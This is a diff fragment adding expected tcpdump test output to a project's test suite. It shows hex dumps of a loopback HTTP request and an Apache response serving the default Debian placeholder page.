+	0x0790:  706c 6163 6520 7468 6569 7220 7363 7269  place.their.scri
+	0x07a0:  7074 732e 3c2f 4c49 3e0a 0a3c 4c49 3e0a  pts.</LI>..<LI>.
+	0x07b0:  4c6f 6720 6669 6c65 7320 6172 6520 706c  Log.files.are.pl
+	0x07c0:  6163 6564 2069 6e20 3c54 543e 2f76 6172  aced.in.<TT>/var
+	0x07d0:  2f6c 6f67 2f61 7061 6368 653c 2f54 543e  /log/apache</TT>
+	0x07e0:  2c20 616e 6420 7769 6c6c 2062 6520 726f  ,.and.will.be.ro
+	0x07f0:  7461 7465 640a 7765 656b 6c79 2e20 2054  tated.weekly...T
+	0x0800:  6865 2066 7265 7175 656e 6379 206f 6620  he.frequency.of.
+	0x0810:  726f 7461 7469 6f6e 2063 616e 2062 6520  rotation.can.be.
+	0x0820:  6561 7369 6c79 2063 6861 6e67 6564 2062  easily.changed.b
+	0x0830:  7920 6564 6974 696e 670a 3c54 543e 2f65  y.editing.<TT>/e
+	0x0840:  7463 2f6c 6f67 726f 7461 7465 2e64 2f61  tc/logrotate.d/a
+	0x0850:  7061 6368 653c 2f54 543e 2e3c 2f4c 493e  pache</TT>.</LI>
+	0x0860:  0a0a 3c4c 493e 0a54 6865 2064 6566 6175  ..<LI>.The.defau
+	0x0870:  6c74 2064 6972 6563 746f 7279 2069 6e64  lt.directory.ind
+	0x0880:  6578 2069 7320 3c54 543e 696e 6465 782e  ex.is.<TT>index.
+	0x0890:  6874 6d6c 3c2f 5454 3e2c 206d 6561 6e69  html</TT>,.meani
+	0x08a0:  6e67 2074 6861 7420 7265 7175 6573 7473  ng.that.requests
+	0x08b0:  0a66 6f72 2061 2064 6972 6563 746f 7279  .for.a.directory
+	0x08c0:  203c 5454 3e2f 666f 6f2f 6261 722f 3c2f  .<TT>/foo/bar/</
+	0x08d0:  5454 3e20 7769 6c6c 2067 6976 6520 7468  TT>.will.give.th
+	0x08e0:  6520 636f 6e74 656e 7473 206f 6620 7468  e.contents.of.th
+	0x08f0:  6520 6669 6c65 203c 5454 3e2f 7661 722f  e.file.<TT>/var/
+	0x0900:  7777 772f 666f 6f2f 6261 722f 696e 6465  www/foo/bar/inde
+	0x0910:  782e 6874 6d6c 3c2f 5454 3e0a 6966 2069  x.html</TT>.if.i
+	0x0920:  7420 6578 6973 7473 2028 6173 7375 6d69  t.exists.(assumi
+	0x0930:  6e67 2074 6861 7420 3c54 543e 2f76 6172  ng.that.<TT>/var
+	0x0940:  2f77 7777 3c2f 5454 3e20 6973 2079 6f75  /www</TT>.is.you
+	0x0950:  7220 3c54 543e 446f 6375 6d65 6e74 526f  r.<TT>DocumentRo
+	0x0960:  6f74 3c2f 5454 3e29 2e3c 2f4c 493e 0a0a  ot</TT>).</LI>..
+	0x0970:  3c4c 493e 0a55 7365 7220 6469 7265 6374  <LI>.User.direct
+	0x0980:  6f72 6965 7320 6172 6520 656e 6162 6c65  ories.are.enable
+	0x0990:  642c 2061 6e64 2075 7365 7220 646f 6375  d,.and.user.docu
+	0x09a0:  6d65 6e74 7320 7769 6c6c 2062 6520 6c6f  ments.will.be.lo
+	0x09b0:  6f6b 6564 2066 6f72 0a69 6e20 7468 6520  oked.for.in.the.
+	0x09c0:  3c54 543e 7075 626c 6963 5f68 746d 6c3c  <TT>public_html<
+	0x09d0:  2f54 543e 2064 6972 6563 746f 7279 206f  /TT>.directory.o
+	0x09e0:  6620 7468 6520 7573 6572 7327 2068 6f6d  f.the.users'.hom
+	0x09f0:  6573 2e20 2054 6865 7365 2064 6972 730a  es...These.dirs.
+	0x0a00:  7368 6f75 6c64 2062 6520 756e 6465 7220  should.be.under.
+	0x0a10:  3c54 543e 2f68 6f6d 653c 2f54 543e 2c20  <TT>/home</TT>,.
+	0x0a20:  616e 6420 7573 6572 7320 7769 6c6c 206e  and.users.will.n
+	0x0a30:  6f74 2062 6520 6162 6c65 2074 6f20 7379  ot.be.able.to.sy
+	0x0a40:  6d6c 696e 6b0a 746f 2066 696c 6573 2074  mlink.to.files.t
+	0x0a50:  6865 7920 646f 6e27 7420 6f77 6e2e 3c2f  hey.don't.own.</
+	0x0a60:  4c49 3e0a 0a3c 2f55 4c3e 0a41 6c6c 2074  LI>..</UL>.All.t
+	0x0a70:  6865 2073 7461 6e64 6172 6420 6170 6163  he.standard.apac
+	0x0a80:  6865 206d 6f64 756c 6573 2061 7265 2061  he.modules.are.a
+	0x0a90:  7661 696c 6162 6c65 2077 6974 6820 7468  vailable.with.th
+	0x0aa0:  6973 2072 656c 6561 7365 2061 6e64 2061  is.release.and.a
+	0x0ab0:  7265 0a6e 6f77 206d 616e 6167 6564 2077  re.now.managed.w
+	0x0ac0:  6974 6820 6465 6263 6f6e 662e 2020 5479  ith.debconf...Ty
+	0x0ad0:  7065 203c 5454 3e64 706b 672d 7265 636f  pe.<TT>dpkg-reco
+	0x0ae0:  6e66 6967 7572 6520 6170 6163 6865 3c2f  nfigure.apache</
+	0x0af0:  5454 3e20 746f 0a73 656c 6563 7420 7768  TT>.to.select.wh
+	0x0b00:  6963 6820 6d6f 6475 6c65 7320 796f 7520  ich.modules.you.
+	0x0b10:  7761 6e74 2065 6e61 626c 6564 2e20 204d  want.enabled...M
+	0x0b20:  616e 7920 6f74 6865 7220 6d6f 6475 6c65  any.other.module
+	0x0b30:  7320 6172 6520 6176 6169 6c61 626c 650a  s.are.available.
+	0x0b40:  7468 726f 7567 6820 7468 6520 4465 6269  through.the.Debi
+	0x0b50:  616e 2070 6163 6b61 6765 2073 7973 7465  an.package.syste
+	0x0b60:  6d20 7769 7468 2074 6865 206e 616d 6573  m.with.the.names
+	0x0b70:  203c 5454 3e6c 6962 6170 6163 6865 2d6d  .<TT>libapache-m
+	0x0b80:  6f64 2d2a 3c2f 5454 3e2e 0a49 6620 796f  od-*</TT>..If.yo
+	0x0b90:  7520 6e65 6564 2074 6f20 636f 6d70 696c  u.need.to.compil
+	0x0ba0:  6520 6120 6d6f 6475 6c65 2079 6f75 7273  e.a.module.yours
+	0x0bb0:  656c 662c 2079 6f75 2077 696c 6c20 6e65  elf,.you.will.ne
+	0x0bc0:  6564 2074 6f20 696e 7374 616c 6c20 7468  ed.to.install.th
+	0x0bd0:  650a 3c54 543e 6170 6163 6865 2d64 6576  e.<TT>apache-dev
+	0x0be0:  3c2f 5454 3e20 7061 636b 6167 652e 0a0a  </TT>.package...
+	0x0bf0:  3c50 3e4d 6f72 6520 646f 6375 6d65 6e74  <P>More.document
+	0x0c00:  6174 696f 6e20 6f6e 2041 7061 6368 6520  ation.on.Apache.
+	0x0c10:  6361 6e20 6265 2066 6f75 6e64 206f 6e3a  can.be.found.on:
+	0x0c20:  0a3c 554c 3e0a 3c4c 493e 0a54 6865 203c  .<UL>.<LI>.The.<
+	0x0c30:  4120 4852 4546 3d22 2f64 6f63 2f61 7061  A.HREF="/doc/apa
+	0x0c40:  6368 652d 646f 632f 6d61 6e75 616c 2f22  che-doc/manual/"
+	0x0c50:  3e41 7061 6368 6520 646f 6375 6d65 6e74  >Apache.document
+	0x0c60:  6174 696f 6e3c 2f41 3e20 7374 6f72 6564  ation</A>.stored
+	0x0c70:  206f 6e20 796f 7572 2073 6572 7665 722e  .on.your.server.
+	0x0c80:  3c2f 4c49 3e0a 0a3c 4c49 3e0a 5468 6520  </LI>..<LI>.The.
+	0x0c90:  3c41 2048 5245 463d 2268 7474 703a 2f2f  <A.HREF="http://
+	0x0ca0:  7777 772e 6170 6163 6865 2e6f 7267 2f22  www.apache.org/"
+	0x0cb0:  3e41 7061 6368 6520 5072 6f6a 6563 743c  >Apache.Project<
+	0x0cc0:  2f41 3e20 686f 6d65 2073 6974 652e 3c2f  /A>.home.site.</
+	0x0cd0:  4c49 3e0a 0a3c 4c49 3e0a 5468 6520 3c41  LI>..<LI>.The.<A
+	0x0ce0:  2048 5245 463d 2268 7474 703a 2f2f 7777  .HREF="http://ww
+	0x0cf0:  772e 6170 6163 6865 2d73 736c 2e6f 7267  w.apache-ssl.org
+	0x0d00:  2f22 3e41 7061 6368 652d 5353 4c3c 2f41  /">Apache-SSL</A
+	0x0d10:  3e20 686f 6d65 2073 6974 652e 3c2f 4c49  >.home.site.</LI
+	0x0d20:  3e0a 0a3c 4c49 3e0a 5468 6520 3c41 2048  >..<LI>.The.<A.H
+	0x0d30:  5245 463d 2268 7474 703a 2f2f 7065 726c  REF="http://perl
+	0x0d40:  2e61 7061 6368 652e 6f72 672f 223e 6d6f  .apache.org/">mo
+	0x0d50:  6420 7065 726c 3c2f 413e 2068 6f6d 6520  d.perl</A>.home.
+	0x0d60:  7369 7465 2e3c 2f4c 493e 0a0a 3c4c 493e  site.</LI>..<LI>
+	0x0d70:  0a54 6865 203c 4120 4852 4546 3d22 6874  .The.<A.HREF="ht
+	0x0d80:  7470 3a2f 2f77 7777 2e61 7061 6368 6577  tp://www.apachew
+	0x0d90:  6565 6b2e 636f 6d2f 223e 4170 6163 6865  eek.com/">Apache
+	0x0da0:  5765 656b 3c2f 413e 206e 6577 736c 6574  Week</A>.newslet
+	0x0db0:  7465 722e 3c2f 4c49 3e0a 0a3c 4c49 3e0a  ter.</LI>..<LI>.
+	0x0dc0:  5468 6520 3c41 2048 5245 463d 2268 7474  The.<A.HREF="htt
+	0x0dd0:  703a 2f2f 7777 772e 6465 6269 616e 2e6f  p://www.debian.o
+	0x0de0:  7267 2f64 6f63 2f22 3e44 6562 6961 6e20  rg/doc/">Debian.
+	0x0df0:  5072 6f6a 6563 740a 446f 6375 6d65 6e74  Project.Document
+	0x0e00:  6174 696f 6e3c 2f41 3e20 7768 6963 6820  ation</A>.which.
+	0x0e10:  636f 6e74 6169 6e73 2048 4f57 544f 732c  contains.HOWTOs,
+	0x0e20:  2046 4151 732c 2061 6e64 2073 6f66 7477  .FAQs,.and.softw
+	0x0e30:  6172 6520 7570 6461 7465 732e 3c2f 4c49  are.updates.</LI
+	0x0e40:  3e0a 3c2f 554c 3e0a 0a3c 503e 596f 7520  >.</UL>..<P>You.
+	0x0e50:  6361 6e20 616c 736f 2063 6f6e 7375 6c74  can.also.consult
+	0x0e60:  2074 6865 206c 6973 7420 6f66 203c 4120  .the.list.of.<A.
+	0x0e70:  4852 4546 3d22 6874 7470 3a2f 2f77 7777  HREF="http://www
+	0x0e80:  2e62 6f75 7465 6c6c 2e63 6f6d 2f66 6171  .boutell.com/faq
+	0x0e90:  2f22 3e57 6f72 6c64 0a57 6964 6520 5765  /">World.Wide.We
+	0x0ea0:  6220 4672 6571 7565 6e74 6c79 2041 736b  b.Frequently.Ask
+	0x0eb0:  6564 2051 7565 7374 696f 6e73 3c2f 413e  ed.Questions</A>
+	0x0ec0:  2066 6f72 2069 6e66 6f72 6d61 7469 6f6e  .for.information
+	0x0ed0:  2e0a 0a3c 4832 3e4c 6574 206f 7468 6572  ...<H2>Let.other
+	0x0ee0:  2070 656f 706c 6520 6b6e 6f77 2061 626f  .people.know.abo
+	0x0ef0:  7574 2074 6869 7320 7365 7276 6572 3c2f  ut.this.server</
+	0x0f00:  4832 3e0a 0a3c 4120 4852 4546 3d22 6874  H2>..<A.HREF="ht
+	0x0f10:  7470 3a2f 2f6e 6574 6372 6166 742e 636f  tp://netcraft.co
+	0x0f20:  6d2f 223e 4e65 7463 7261 6674 3c2f 413e  m/">Netcraft</A>
+	0x0f30:  2070 726f 7669 6465 7320 616e 2069 6e74  .provides.an.int
+	0x0f40:  6572 6573 7469 6e67 2066 7265 650a 7365  eresting.free.se
+	0x0f50:  7276 6963 6520 666f 7220 7765 6220 7369  rvice.for.web.si
+	0x0f60:  7465 206d 6f6e 6974 6f72 696e 6720 616e  te.monitoring.an
+	0x0f70:  6420 7374 6174 6973 7469 6320 636f 6c6c  d.statistic.coll
+	0x0f80:  6563 7469 6f6e 2e0a 596f 7520 6361 6e20  ection..You.can.
+	0x0f90:  6c65 7420 7468 656d 206b 6e6f 7720 6162  let.them.know.ab
+	0x0fa0:  6f75 7420 796f 7572 2073 6572 7665 7220  out.your.server.
+	0x0fb0:  7573 696e 6720 7468 6569 720a 3c41 2048  using.their.<A.H
+	0x0fc0:  5245 463d 2268 7474 703a 2f2f 7570 7469  REF="http://upti
+	0x0fd0:  6d65 2e6e 6574 6372 6166 742e 636f 6d2f  me.netcraft.com/
+	0x0fe0:  223e 696e 7465 7266 6163 653c 2f41 3e2e  ">interface</A>.
+	0x0ff0:  0a45 6e61 626c 696e 6720 7468 6520 6d6f  .Enabling.the.mo
+	0x1000:  6e69 746f 7269 6e67 206f 6620 796f 7572  nitoring.of.your
+	0x1010:  2073 6572 7665 7220 7769 6c6c 2070 726f  .server.will.pro
+	0x1020:  7669 6465 2061 2062 6574 7465 7220 676c  vide.a.better.gl
+	0x1030:  6f62 616c 206f 7665 7276 6965 770a 6f66  obal.overview.of
+	0x1040:  2077 686f 2069 7320 7573 696e 6720 7768  .who.is.using.wh
+	0x1050:  6174 2061 6e64 2077 6865 7265 2c20 616e  at.and.where,.an
+	0x1060:  6420 6974 2077 6f75 6c64 2067 6976 6520  d.it.would.give.
+	0x1070:  4465 6269 616e 2061 2062 6574 7465 720a  Debian.a.better.
+	0x1080:  6f76 6572 7669 6577 206f 6620 7468 6520  overview.of.the.
+	0x1090:  6170 6163 6865 2070 6163 6b61 6765 2075  apache.package.u
+	0x10a0:  7361 6765 2e0a 0a3c 4832 3e41 626f 7574  sage...<H2>About
+	0x10b0:  2074 6869 7320 7061 6765 3c2f 4832 3e0a  .this.page</H2>.
+	0x10c0:  0a3c 494d 4720 414c 4947 4e3d 2272 6967  .<IMG.ALIGN="rig
+	0x10d0:  6874 2220 414c 543d 2222 2048 4549 4748  ht".ALT="".HEIGH
+	0x10e0:  543d 2232 3437 2220 5749 4454 483d 2232  T="247".WIDTH="2
+	0x10f0:  3738 2220 5352 433d 2269 636f 6e73 2f6a  78".SRC="icons/j
+	0x1100:  6865 3036 312e 706e 6722 3e0a 0a3c 503e  he061.png">..<P>
+	0x1110:  5468 6973 2069 7320 6120 706c 6163 6568  This.is.a.placeh
+	0x1120:  6f6c 6465 7220 7061 6765 2069 6e73 7461  older.page.insta
+	0x1130:  6c6c 6564 2062 7920 7468 6520 3c41 0a48  lled.by.the.<A.H
+	0x1140:  5245 463d 2268 7474 703a 2f2f 7777 772e  REF="http://www.
+	0x1150:  6465 6269 616e 2e6f 7267 2f22 3e44 6562  debian.org/">Deb
+	0x1160:  6961 6e3c 2f41 3e0a 7265 6c65 6173 6520  ian</A>.release.
+	0x1170:  6f66 2074 6865 2061 7061 6368 6520 5765  of.the.apache.We
+	0x1180:  6220 7365 7276 6572 2070 6163 6b61 6765  b.server.package
+	0x1190:  2e0a 0a3c 503e 5468 6973 2063 6f6d 7075  ...<P>This.compu
+	0x11a0:  7465 7220 6861 7320 696e 7374 616c 6c65  ter.has.installe
+	0x11b0:  6420 7468 6520 4465 6269 616e 2047 4e55  d.the.Debian.GNU
+	0x11c0:  2f4c 696e 7578 206f 7065 7261 7469 6e67  /Linux.operating
+	0x11d0:  2073 7973 7465 6d2c 0a62 7574 2069 7420  .system,.but.it.
+	0x11e0:  6861 7320 3c73 7472 6f6e 673e 6e6f 7468  has.<strong>noth
+	0x11f0:  696e 6720 746f 2064 6f20 7769 7468 2074  ing.to.do.with.t
+	0x1200:  6865 2044 6562 6961 6e0a 5072 6f6a 6563  he.Debian.Projec
+	0x1210:  743c 2f73 7472 6f6e 673e 2e20 506c 6561  t</strong>..Plea
+	0x1220:  7365 2064 6f20 3c73 7472 6f6e 673e 6e6f  se.do.<strong>no
+	0x1230:  743c 2f73 7472 6f6e 673e 2063 6f6e 7461  t</strong>.conta
+	0x1240:  6374 2074 6865 2044 6562 6961 6e0a 5072  ct.the.Debian.Pr
+	0x1250:  6f6a 6563 7420 6162 6f75 7420 6974 2e3c  oject.about.it.<
+	0x1260:  2f50 3e0a 0a3c 503e 4966 2079 6f75 2066  /P>..<P>If.you.f
+	0x1270:  696e 6420 6120 6275 6720 696e 2074 6869  ind.a.bug.in.thi
+	0x1280:  7320 6170 6163 6865 2070 6163 6b61 6765  s.apache.package
+	0x1290:  2c20 6f72 2069 6e20 4170 6163 6865 2069  ,.or.in.Apache.i
+	0x12a0:  7473 656c 662c 0a70 6c65 6173 6520 6669  tself,.please.fi
+	0x12b0:  6c65 2061 2062 7567 2072 6570 6f72 7420  le.a.bug.report.
+	0x12c0:  6f6e 2069 742e 2020 496e 7374 7275 6374  on.it...Instruct
+	0x12d0:  696f 6e73 206f 6e20 646f 696e 6720 7468  ions.on.doing.th
+	0x12e0:  6973 2c20 616e 6420 7468 650a 6c69 7374  is,.and.the.list
+	0x12f0:  206f 6620 3c41 2048 5245 463d 2268 7474  .of.<A.HREF="htt
+	0x1300:  703a 2f2f 6275 6773 2e64 6562 6961 6e2e  p://bugs.debian.
+	0x1310:  6f72 672f 7372 633a 6170 6163 6865 223e  org/src:apache">
+	0x1320:  6b6e 6f77 6e20 6275 6773 3c2f 413e 206f  known.bugs</A>.o
+	0x1330:  6620 7468 6973 0a70 6163 6b61 6765 2c20  f.this.package,.
+	0x1340:  6361 6e20 6265 2066 6f75 6e64 2069 6e20  can.be.found.in.
+	0x1350:  7468 6520 0a3c 4120 4852 4546 3d22 6874  the..<A.HREF="ht
+	0x1360:  7470 3a2f 2f77 7777 2e64 6562 6961 6e2e  tp://www.debian.
+	0x1370:  6f72 672f 4275 6773 2f52 6570 6f72 7469  org/Bugs/Reporti
+	0x1380:  6e67 223e 4465 6269 616e 2042 7567 2054  ng">Debian.Bug.T
+	0x1390:  7261 636b 696e 6720 5379 7374 656d 3c2f  racking.System</
+	0x13a0:  413e 2e0a 0a3c 503e 5468 616e 6b73 2066  A>...<P>Thanks.f
+	0x13b0:  6f72 2075 7369 6e67 2074 6869 7320 7061  or.using.this.pa
+	0x13c0:  636b 6167 652c 2061 6e64 2063 6f6e 6772  ckage,.and.congr
+	0x13d0:  6174 756c 6174 696f 6e73 2066 6f72 2079  atulations.for.y
+	0x13e0:  6f75 7220 6368 6f69 6365 206f 660a 6120  our.choice.of.a.
+	0x13f0:  4465 6269 616e 2073 7973 7465 6d21 3c2f  Debian.system!</
+	0x1400:  503e 0a0a 3c44 4956 2061 6c69 676e 3d22  P>..<DIV.align="
+	0x1410:  6365 6e74 6572 223e 0a3c 6120 6872 6566  center">.<a.href
+	0x1420:  3d22 6874 7470 3a2f 2f77 7777 2e64 6562  ="http://www.deb
+	0x1430:  6961 6e2e 6f72 672f 223e 0a3c 494d 4720  ian.org/">.<IMG.
+	0x1440:  616c 6967 6e3d 226d 6964 646c 6522 2068  align="middle".h
+	0x1450:  6569 6768 743d 2233 3022 2077 6964 7468  eight="30".width
+	0x1460:  3d22 3235 2220 7372 633d 2269 636f 6e73  ="25".src="icons
+	0x1470:  2f64 6562 6961 6e2f 6f70 656e 6c6f 676f  /debian/openlogo
+	0x1480:  2d32 352e 6a70 6722 2061 6c74 3d22 4465  -25.jpg".alt="De
+	0x1490:  6269 616e 223e 0a3c 2f61 3e0a 3c61 2068  bian">.</a>.<a.h
+	0x14a0:  7265 663d 2268 7474 703a 2f2f 7777 772e  ref="http://www.
+	0x14b0:  6170 6163 6865 2e6f 7267 2f22 3e0a 3c49  apache.org/">.<I
+	0x14c0:  4d47 2061 6c69 676e 3d22 6d69 6464 6c65  MG.align="middle
+	0x14d0:  2220 6865 6967 6874 3d22 3332 2220 7769  ".height="32".wi
+	0x14e0:  6474 683d 2232 3539 2220 7372 633d 2269  dth="259".src="i
+	0x14f0:  636f 6e73 2f61 7061 6368 655f 7062 2e70  cons/apache_pb.p
+	0x1500:  6e67 2220 616c 743d 2241 7061 6368 6522  ng".alt="Apache"
+	0x1510:  3e0a 3c2f 613e 0a3c 2f44 4956 3e0a 0a3c  >.</a>.</DIV>..<
+	0x1520:  212d 2d0a 2020 5468 6973 2070 6167 6520  !--...This.page.
+	0x1530:  7761 7320 696e 6974 6961 6c6c 7920 6372  was.initially.cr
+	0x1540:  6561 7465 6420 6279 204a 6f68 6e69 6520  eated.by.Johnie.
+	0x1550:  496e 6772 616d 2028 6874 7470 3a2f 2f6e  Ingram.(http://n
+	0x1560:  6574 676f 642e 6e65 742f 290a 2020 4974  etgod.net/)...It
+	0x1570:  2077 6173 206c 6174 6572 2065 6469 7465  .was.later.edite
+	0x1580:  6420 6279 204d 6174 7468 6577 2057 696c  d.by.Matthew.Wil
+	0x1590:  636f 7820 616e 6420 4a6f 7369 7020 526f  cox.and.Josip.Ro
+	0x15a0:  6469 6e2e 0a20 204c 6173 7420 6d6f 6469  din....Last.modi
+	0x15b0:  6669 6564 3a20 2444 6174 653a 2032 3030  fied:.$Date:.200
+	0x15c0:  342f 3036 2f32 3020 3135 3a33 333a 3537  4/06/20.15:33:57
+	0x15d0:  2024 2e0a 2020 2d2d 3e0a 0a3c 2f42 4f44  .$....-->..</BOD
+	0x15e0:  593e 0a3c 2f48 544d 4c3e 0a              Y>.</HTML>.
+23:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+	0x0000:  4500 0034 1b6e 4000 4006 2154 7f00 0001  E..4.n@.@.!T....
+	0x0010:  7f00 0001 da70 0050 3758 8a49 377a a3a9  .....p.P7X.I7z..
+	0x0020:  8010 305f 10ea 0000 0101 080a 4ddc 9219  ..0_........M...
+	0x0030:  4ddc 9219                                M...
+23:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+	0x0000:  4500 0034 1b70 4000 4006 2152 7f00 0001  E..4.p@.@.!R....
+	0x0010:  7f00 0001 da70 0050 3758 8a49 377a a3a9  .....p.P7X.I7z..
+	0x0020:  8011 305f 0be1 0000 0101 080a 4ddc 9721  ..0_........M..!
+	0x0030:  4ddc 9219                                M...
+23:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+	0x0000:  4500 0034 1fe8 4000 4006 1cda 7f00 0001  E..4..@.@.......
+	0x0010:  7f00 0001 0050 da70 377a a3a9 3758 8a4a  .....P.p7z..7X.J
+	0x0020:  8011 2000 1735 0000 0101 080a 4ddc 9723  .....5......M..#
+	0x0030:  4ddc 9721                                M..!
+23:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+	0x0000:  4500 0034 1b72 4000 4006 2150 7f00 0001  E..4.r@.@.!P....
+	0x0010:  7f00 0001 da70 0050 3758 8a4a 377a a3aa  .....p.P7X.J7z..
+	0x0020:  8010 305f 06d4 0000 0101 080a 4ddc 9723  ..0_........M..#
+	0x0030:  4ddc 9723                                M..#
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-capXX.new b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-capXX.new
new file mode 100644
index 0000000000000000000000000000000000000000..a132874b9937556d1ae0a565e753b076eb117883
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-capXX.new
@@ -0,0 +1,419 @@
+23:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  003c 1b68 4000 4006 2152 7f00 0001 7f00  .<.h@.@.!R......
+	0x0020:  0001 da70 0050 3758 897e 0000 0000 a002  ...p.P7X.~......
+	0x0030:  7fff 1421 0000 0204 400c 0402 080a 4ddc  ...!....@.....M.
+	0x0040:  9216 0000 0000 0103 0302                 ..........
+23:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  003c 0000 4000 4006 3cba 7f00 0001 7f00  .<..@.@.<.......
+	0x0020:  0001 0050 da70 377a 8df1 3758 897f a012  ...P.p7z..7X....
+	0x0030:  7fff 6eb1 0000 0204 400c 0402 080a 4ddc  ..n.....@.....M.
+	0x0040:  9216 4ddc 9216 0103 0302                 ..M.......
+23:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  0034 1b6a 4000 4006 2158 7f00 0001 7f00  .4.j@.@.!X......
+	0x0020:  0001 da70 0050 3758 897f 377a 8df2 8010  ...p.P7X..7z....
+	0x0030:  2000 37d0 0000 0101 080a 4ddc 9216 4ddc  ..7.......M...M.
+	0x0040:  9216                                     ..
+23:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  00fe 1b6c 4000 4006 208c 7f00 0001 7f00  ...l@.@.........
+	0x0020:  0001 da70 0050 3758 897f 377a 8df2 8018  ...p.P7X..7z....
+	0x0030:  2000 fef2 0000 0101 080a 4ddc 9217 4ddc  ..........M...M.
+	0x0040:  9216 4745 5420 2f20 4854 5450 2f31 2e31  ..GET./.HTTP/1.1
+	0x0050:  0d0a 486f 7374 3a20 6c6f 6361 6c68 6f73  ..Host:.localhos
+	0x0060:  740d 0a55 7365 722d 4167 656e 743a 2045  t..User-Agent:.E
+	0x0070:  4c69 6e6b 732f 302e 3130 2e34 2d37 2d64  Links/0.10.4-7-d
+	0x0080:  6562 6961 6e20 2874 6578 746d 6f64 653b  ebian.(textmode;
+	0x0090:  204c 696e 7578 2032 2e36 2e31 312d 312d  .Linux.2.6.11-1-
+	0x00a0:  3638 362d 736d 7020 6936 3836 3b20 3133  686-smp.i686;.13
+	0x00b0:  3278 3536 2d32 290d 0a41 6363 6570 743a  2x56-2)..Accept:
+	0x00c0:  202a 2f2a 0d0a 4163 6365 7074 2d45 6e63  .*/*..Accept-Enc
+	0x00d0:  6f64 696e 673a 2067 7a69 700d 0a41 6363  oding:.gzip..Acc
+	0x00e0:  6570 742d 4c61 6e67 7561 6765 3a20 656e  ept-Language:.en
+	0x00f0:  0d0a 436f 6e6e 6563 7469 6f6e 3a20 4b65  ..Connection:.Ke
+	0x0100:  6570 2d41 6c69 7665 0d0a 0d0a            ep-Alive....
+23:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  0034 1fe4 4000 4006 1cde 7f00 0001 7f00  .4..@.@.........
+	0x0020:  0001 0050 da70 377a 8df2 3758 8a49 8010  ...P.p7z..7X.I..
+	0x0030:  2000 3703 0000 0101 080a 4ddc 9218 4ddc  ..7.......M...M.
+	0x0040:  9217                                     ..
+23:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  15eb 1fe6 4000 4006 0725 7f00 0001 7f00  ....@.@..%......
+	0x0020:  0001 0050 da70 377a 8df2 3758 8a49 8018  ...P.p7z..7X.I..
+	0x0030:  2000 13e0 0000 0101 080a 4ddc 9219 4ddc  ..........M...M.
+	0x0040:  9217 4854 5450 2f31 2e31 2032 3030 204f  ..HTTP/1.1.200.O
+	0x0050:  4b0d 0a44 6174 653a 2057 6564 2c20 3036  K..Date:.Wed,.06
+	0x0060:  204a 756c 2032 3030 3520 3033 3a35 373a  .Jul.2005.03:57:
+	0x0070:  3335 2047 4d54 0d0a 5365 7276 6572 3a20  35.GMT..Server:.
+	0x0080:  4170 6163 6865 2f31 2e33 2e33 330d 0a4c  Apache/1.3.33..L
+	0x0090:  6173 742d 4d6f 6469 6669 6564 3a20 5375  ast-Modified:.Su
+	0x00a0:  6e2c 2031 3520 4175 6720 3230 3034 2030  n,.15.Aug.2004.0
+	0x00b0:  303a 3433 3a34 3120 474d 540d 0a45 5461  0:43:41.GMT..ETa
+	0x00c0:  673a 2022 3665 3830 6630 2d31 3438 612d  g:."6e80f0-148a-
+	0x00d0:  3431 3165 6231 6264 220d 0a41 6363 6570  411eb1bd"..Accep
+	0x00e0:  742d 5261 6e67 6573 3a20 6279 7465 730d  t-Ranges:.bytes.
+	0x00f0:  0a43 6f6e 7465 6e74 2d4c 656e 6774 683a  .Content-Length:
+	0x0100:  2035 3235 380d 0a4b 6565 702d 416c 6976  .5258..Keep-Aliv
+	0x0110:  653a 2074 696d 656f 7574 3d31 352c 206d  e:.timeout=15,.m
+	0x0120:  6178 3d31 3030 0d0a 436f 6e6e 6563 7469  ax=100..Connecti
+	0x0130:  6f6e 3a20 4b65 6570 2d41 6c69 7665 0d0a  on:.Keep-Alive..
+	0x0140:  436f 6e74 656e 742d 5479 7065 3a20 7465  Content-Type:.te
+	0x0150:  7874 2f68 746d 6c3b 2063 6861 7273 6574  xt/html;.charset
+	0x0160:  3d69 736f 2d38 3835 392d 310d 0a0d 0a3c  =iso-8859-1....<
